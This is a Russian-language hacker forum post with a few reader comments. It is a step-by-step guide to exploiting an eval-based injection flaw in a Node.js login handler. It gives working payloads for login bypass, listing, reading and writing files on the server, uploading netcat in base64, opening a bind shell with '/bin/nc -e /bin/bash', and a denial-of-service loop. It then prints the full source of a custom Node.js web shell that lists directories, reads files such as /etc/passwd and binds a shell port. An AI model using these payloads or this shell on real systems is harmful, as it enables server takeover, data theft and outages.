Серверный js: В атаку! Решив не изобретать велосипед и не писать ничего нового. я взял уже готовый код уязвимого приложения из февральского выпуска, и просто сократил его. В февральской статье автор говорил о том как авторизоваться через данную уязвимость, это было что-то вроде аналога 1'+or+1=1+--+ в обычном MySQL. Сейчас я приведу уязвимый участок кода, и расскажу что и как в нем устроено, и почему он уязвим: PHP: "json-injection": function () { pageTitle = locale.mongoJsonInjTitle; processRequest(function (login, password) { var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })"); return loginParam; }); }, Как ты можешь увидеть, ошибка заключается в небезопасном использовании конструкции с eval'ом и отсутвие фильтра входящих данных. Теперь POC: PHP: root'})// В результате, мы видим что произошло в логах запущенного приложения: PHP: *** QUERY: { login: 'root' } *** DOCUMENT: { _id: 4f37d1df08f4a55a79e97940, login: 'root', password: 'p@ssw0rd' } Как видишь, мы авторизовались без пароля Теперь попробуем извлечь чуть больше, чем авторизация без пароля из этой баги. Для начала попробуем что-нибудь простенькое, например выполним console.log("hello"). Для этого, мы должны в поле для имени пользователя вставить следующий код: PHP: '}); console.log('hello');// Как вывидишь, мы закрываем запрос конструкцией " '}); " и подставляем нашу комманду, но не забываем про символы "//", т.к. они обозначают, что после них уже идет не код, а комментарий. Браузер нам показал 500 ошибку, но посмотрим что произошло в консоли самого сервера: PHP: hello ---> TypeError: Cannot read property 'isCustomJS' of undefined Как видишь - код успешно исполнился! Но теперь начинается самая сложная часть, над которой мне пришлось попотеть. Для начала немного лирики . Что нужно хакеру на сервере? Для начала - добиться исполнения своих комманд на захваченном сервере; после - читать, листать и изменять файлы. Ну а в идеале - получить полноценный\неполноценный шелл на сервере. Для этого используется или bindport, или backconnect. К сожалению, я не нашел в паблике, или в доступном мне привате. веб-шеллов заточенных под Server Side JavaScript, поэтому я решил на сей раз изобрести велосипед и написать свой веб-шелл. Но все не так просто, ведь мы не можем смотреть что происходит в консоли на сервере, и соотвественно console.log() не подойдет для наших целей. Немного покопавшись в мануалах к Node.js я нашел то, что как раз подходит под наши задачи, а именно response.end() и response.write(). Вот пример использования: PHP: root'}); response.end('<h1>Hacked');// Теперь переходим к следующему пункту, а именно листингу файлов. Для этого нам надо подключить библиотеку fs, это делается с помощью - require('fs'). А вот так мы можем листать файлы из текущей диры - require('fs').readdirSync('.'). Но, в завершении, мы должны сделать вывод читабельным, с помощью метода toString(). И теперь мы совместим все вышеописанное в мини-эксплойт: PHP: '}); response.end(require('fs').readdirSync('.').toString());// Итак, мы можем листать файлы из любой директории. А теперь перейдем к чтению этих файлов: PHP: root'}); response.end(require('fs').readFileSync('install.js').toString());// Затем, нам нужно научиться писать что-то в файл, делать это мы будем с помощью следующей конструкции: PHP: root'}); require('fs').writeFileSync("install.js","hacked");// И, как вывидишь, в файл install.js запишется слово hacked, но записано оно будет в начало файла, а не в конец. Также, нельзя не упомянуть возможность записи в файл, имея base64 код. Тебе это может понадобиться, если ты хочешь передать на сервер уже скомпилированный бинарник, исходный код, или просто большой файл. Для начала на локальном компе узнаем base64 нашего файла, при помощи комманды base64. Пример: cat /bin/nc.traditional | base64 Полученный текст отправим нашей комманде, которая его расшиифрует и запишет в файл: PHP: root'}); require('fs').writeFileSync("nc.traditional","tut_base64_kod", 'base64');// И наконец, то, ради чего вся статья, собственно, и задумывалась - запуск исполняемых файлов. К сожалению, ты не сможешь увидеть результат, т.к он не выводится в ответ, но можно его записать в файл и прочитать Вот пример запуска бинд-порта на linux системах с netcat: PHP: root'}); require("child_process").exec("/bin/nc -l -p 31337 -e /bin/bash");// Также, нельзя не упомянуть про возможность использования этой уязвимости для DoS-атаки. Это делается довольно просто, а именно через запуск бесконечного цикла, например с while: PHP: root'}); while(1);// Спустя несколько дней изучения полученного материала, я и gl0w, который мне во многом помогал, написали этот веб-шелл. Вот исходный код шелла: PHP: var sys = require("sys"), my_http = require("http"), path = require("path"), url = require("url"), filesys = require("fs"); os = require("child_process") my_http.createServer(function(request,response) { var mode = url.parse(request.url).pathname; var param = url.parse(request.url).query; if(mode == "/list") { path.exists(param,function(exists) { if(!exists) { response.writeHeader(404, {"Content-Type": "text/plain"}); response.write("404 Not Found\n"); response.end(); } else { response.writeHeader(200); response.write("List of file in current dir:\n"); response.write(require('fs').readdirSync(param).toString()); response.end(); } }); } else if(mode == "/file") { path.exists(param,function(exists) { if(!exists) { response.writeHeader(404, {"Content-Type": "text/plain"}); response.write("404 Not Found\n"); response.end(); } else { filesys.readFile(param, "binary", function(err, file) { response.writeHeader(200); response.write(file, "binary"); response.end(); }); } }); } else if(mode == "/bind") { os.exec("/bin/nc -l -p "+param+" -e /bin/bash"); response.write("Port "+param+" binded"); response.end(); } }).listen(8080); sys.puts("Shell Running on 8080"); Теперь давай опробуем его в действии. Записываем шелл в файл, и запускаем через child_process: PHP: root'}); require('fs').writeFileSync("shell.js","dmFyIHN5cyA9IHJlcXVp.....пропущено много кода...wIik7DQo=", 'base64');// PHP: root'}); require("child_process").exec("node shell.js");// Настало время посмотреть, что он может. Функций пока мало, но это только первая версия, и со временем он будет совершенствоваться. Есть возможность листинга файлов, просмотра каталога и возможность бинд-порта. Листаем файлы из диры /etc http://server:8080/list?/etc Читаем файл /etc/passwd http://server:8080/file?/etc/passwd И, наконец, бинд-порт: http://server:8080/bind?31337 Как видите, даже nodejs имеет ряд багов и уязвимотей, которые могут помочь хакеру проникнуть на ваш сервер. POC видео из журнала "Хакер": Смотреть 15.07.2012, 20:14 автор: cyber-punk
Блин, ну неужели какой-то идиот работающий с жс будет в своём коде делать eval (без учёта создания какого-нить шаблонизатора). А вообще как общее рассмотрение работы с серверными методами работы с фс и прочее - норм. И кстати говоря, насколько я понимаю это NodeJS. Но нигде не говорится об этом, а ведь серверных двигов куча, есть ещё и популярный v8cgi (под который есть цмс).
В строке listen(8080) можно поменять 8080 на любой другой порт. Поверь идиоты находятся. И не только разработчики, а крупные компании. В данной статье описана работа с nodeJS, только как пример возможной атаки, а nodeJS очень популярен. Возможно появятся статьи про раскрутку багов под другими движками.
Кибер, помню время, когда ты писал эту статью. Кстати, ты насчет ЛИ уже отправлял им? Я помню были какие-то заготовки только...